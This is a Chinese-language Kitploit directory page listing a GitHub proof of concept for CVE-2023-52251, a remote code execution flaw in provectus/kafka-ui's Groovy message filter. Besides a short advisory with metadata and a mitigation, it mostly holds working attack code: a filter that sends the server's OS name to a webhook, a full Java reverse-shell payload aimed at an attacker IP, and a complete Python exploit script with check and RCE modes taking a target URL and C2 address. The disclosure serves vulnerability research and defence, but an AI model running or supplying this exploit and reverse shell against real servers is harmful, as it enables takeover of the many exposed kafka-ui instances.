Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2023-52251-POC — CVE-2023-52251 provectus/kafka-ui 存在远程代码执行漏洞。 | Kitploit
工具/GitHubGitHub/bobtheshoplifter/cve-2023-52251-poc
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试远程访问工具Payload 开发
GitHubbobtheshoplifter/cve-2023-52251-poc

CVE-2023-52251-POC

CVE-2023-52251 provectus/kafka-ui 存在远程代码执行漏洞。

查看仓库
21342年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2023-52251-POC

存在一个远程代码执行漏洞,影响 provectus/kafka-ui。截至撰写本文时,尚无补丁,但我们已经通知了厂商以及 VINCE 团队,未收到任何回应。报告已于 2023 年 9 月 27 日通过电子邮件和 GitHub Security 发送给 provectus。

修复方案

我们建议至少将整个 groovy 过滤器函数注释掉/添加身份验证。

元数据

标题值
CVSS StringCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:H
CVE IDCVE-2023-52251
CVS Descriptionprovedctus kafka-ui 0.4.0-0.7.1 被发现包含一个远程命令执行(RCE)漏洞,可通过 /api/clusters/local/topics/{topic}/messages 中的 q 参数触发
CVSS Score9.x
CWECWE-94:对代码生成的错误控制('代码注入')
VendorProvectus
Productkafka-ui
Linkhttps://github.com/provectus/kafka-ui
Affected Versions0.4.0-0.7.1
Patched Versions无
ContributorsThingstad, BobTheShoplifter

详细信息

漏洞类型:远程代码执行(RCE)

受影响软件:Kafka-ui

版本:[0.4.0-0.7.1]

漏洞描述

groovy 脚本过滤器在执行前没有经过任何净化处理。这允许攻击者在服务器上执行任意代码。

源代码参考

在函数 groovyScriptFilter 中,“script” 在执行前未经过净化处理。

并在引擎中通过 eval 执行:

root@kitploit:~
var result = compiledScript.eval(bindings);

https://github.com/provectus/kafka-ui/blob/master/kafka-ui-api/src/main/java/com/provectus/kafka/ui/emitter/MessageFilters.java#58

PoC

包含复现该漏洞所需的具体配置细节的完整说明。

使用以下过滤器:

root@kitploit:~
new URL("https://webhook.site/xxxxxx-xxxx-xxxx-xxxx-xxxxxxxx/" + System.getProperty("os.name")).text

过滤器截图

它将向 webhook 发送一个包含服务器操作系统名称的请求。

Webhook 截图

在此基础上进一步扩展,我们可以使用以下 payload 来获取反向 shell:

root@kitploit:~
String host="xxx.xxx.xxx.xx";int port=8080;String cmd="/bin/sh";Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

此 payload 可以很容易地在 https://www.revshells.com/ 上生成。

反向 Shell 截图

此外,还创建了一个 Python 版本的 PoC:

root@kitploit:~
from time import sleep
import requests
import json
import urllib
import argparse

url = 'http://localhost:8080'
clusters = None
c2 = "xxx.xxx.xxx.xx"
port = "8080"
mode = "check"


def get_clusters():
    global clusters
    clusterfetch = requests.get(url + '/api/clusters')
    clusters = clusterfetch.json()


def get_topics(cluster):
    topicfetch = requests.get(
        url + f'/api/clusters/{cluster}/topics?showInternal=true&search=&orderBy=NAME&sortOrder=ASC')
    topics = topicfetch.json()['topics']
    return topics


def get_webhooks():
    webhookfetch = requests.post('https://webhook.site/token')
    webhook = 'https://webhook.site/' + webhookfetch.json()['uuid']+"/"
    print('URL Created: ' + webhook)
    token_id = webhookfetch.json()['uuid']
    headers = {"api-key": webhookfetch.json()['uuid']}
    return webhook, token_id, headers


def Exploit():
    try:
        get_clusters()

        cluster = clusters[0]['name']

        topics = get_topics(cluster)
        topic = topics[0]['name']

        webhook, token_id, headers = get_webhooks()

        checkpayload = 'new URL("'+webhook+'").text'

        rcepayload = 'String host="' + c2 + \
            '";int port='+port + \
            ';String cmd="/bin/sh";Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();'

        payload = rcepayload if mode == "rce" else checkpayload

        r = requests.get(
            url + f'/api/clusters/local/topics/{topic}/messages?q={urllib.parse.quote(payload)}&filterQueryType=GROOVY_SCRIPT&attempt=2&limit=100&page=0&seekDirection=FORWARD&keySerde=String&valueSerde=String&seekType=BEGINNING', timeout=60)
        print(r.text)

        r = requests.get('https://webhook.site/token/' + token_id +
                         '/requests?sorting=newest', headers=headers)

        if r.json()['data'] == []:
            print("No rce found")
        else:
            for request in r.json()['data']:
                print(request)
                print("Rce found")

    except KeyboardInterrupt:
        print("KeyboardInterrupt")
        pass


if __name__ == '__main__':
    parser = argparse.ArgumentParser(description='Kafka-ui4shell rce.')
    parser.add_argument('--mode', help='check, rce', required=False,
                        choices=['check', 'rce'], default="check")
    parser.add_argument(
        '--url', help='Target url. Example http://localhost:8080', required=True)
    parser.add_argument('--c2', help='C2 ip for RCE',
                        required=False),
    parser.add_argument('--c2port', help='File with urls', required=False)
    args = parser.parse_args()

    if args.mode == "rce":
        # Check if c2 and c2port are set
        if args.c2 and args.c2port:
            c2 = args.c2
            port = args.c2port
            mode = args.mode
            Exploit()
            exit()
        else:
            print("C2 and C2 port are required for RCE")
            exit()

    if args.url:
        url = args.url
        if args.mode:
            mode = args.mode
        if args.c2:
            c2 = args.c2
        if args.c2port:
            port = args.c2port
        Exploit()
        exit()

    else:
        parser.print_help()

影响

该漏洞允许攻击者在服务器上执行任意代码。攻击者可以利用该漏洞获取服务器访问权限,并进一步破坏系统。任何能够访问 kafka-ui Web 界面的用户都可以利用此漏洞。

截至本文撰写时,根据 Censys 的数据,互联网上暴露了 1,000 多个 kafka-ui 实例。所有这些实例都可能受到此攻击的影响。

Censys 截图

该软件也可能运行在内部网络中,攻击者一旦进入网络,就可能利用此漏洞。

贡献者

Lars Thingstad - @Thingstad Daniel Christensen - @BobTheShoplifter

参考链接

  • https://cwe.mitre.org/data/definitions/94.html
下载工具